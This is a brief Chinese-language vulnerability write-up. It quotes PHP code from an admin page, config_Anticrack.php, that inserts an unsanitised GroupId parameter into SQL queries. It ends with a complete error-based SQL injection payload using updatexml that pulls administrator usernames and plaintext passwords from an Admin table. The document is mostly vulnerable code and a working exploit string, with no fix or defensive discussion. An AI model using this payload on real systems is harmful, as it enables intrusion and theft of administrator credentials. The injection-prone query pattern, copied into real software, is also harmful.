code 区域<? include("../include/common.inc");
$dbh = db_connect();
switch ($action){
case "":
list_nocacheform(); //漏洞产生函数
break;
case "add":
$gid = $GroupId;
......//省略若干代码
跟踪该函数list_nocacheform()
code 区域function list_nocacheform()
{
global $GroupId;
$dbh = db_connect();
$query = db_query($dbh,"SELECT LoginTimes,Timeout FROM ISCGroupAnticrack WHERE GroupId=$GroupId","查询组零缓存配置信息");//直接报错注入即可。
$Anticrackinfo = db_fetch_row($query);
$action = $Anticrackinfo?'update':'add';
list($LoginTimes,$Timeout) = $Anticrackinfo;
list($GroupName) = db_fetch_row(db_query($dbh,"SELECT GroupName FROM ISCGroupTable WHERE GroupId=$GroupId","查询用户组信息"));
只要admin/config_Anticrack.php?GroupId=222 and 1=(updatexml(1,concat(0x5e24,(select concat(0x3a,AdminName,0x3a,Passwd,0x3a) from Admin limit 0,1),0x5e24),1))—a 一下。。然后明文的账号和密码就出来了。。。
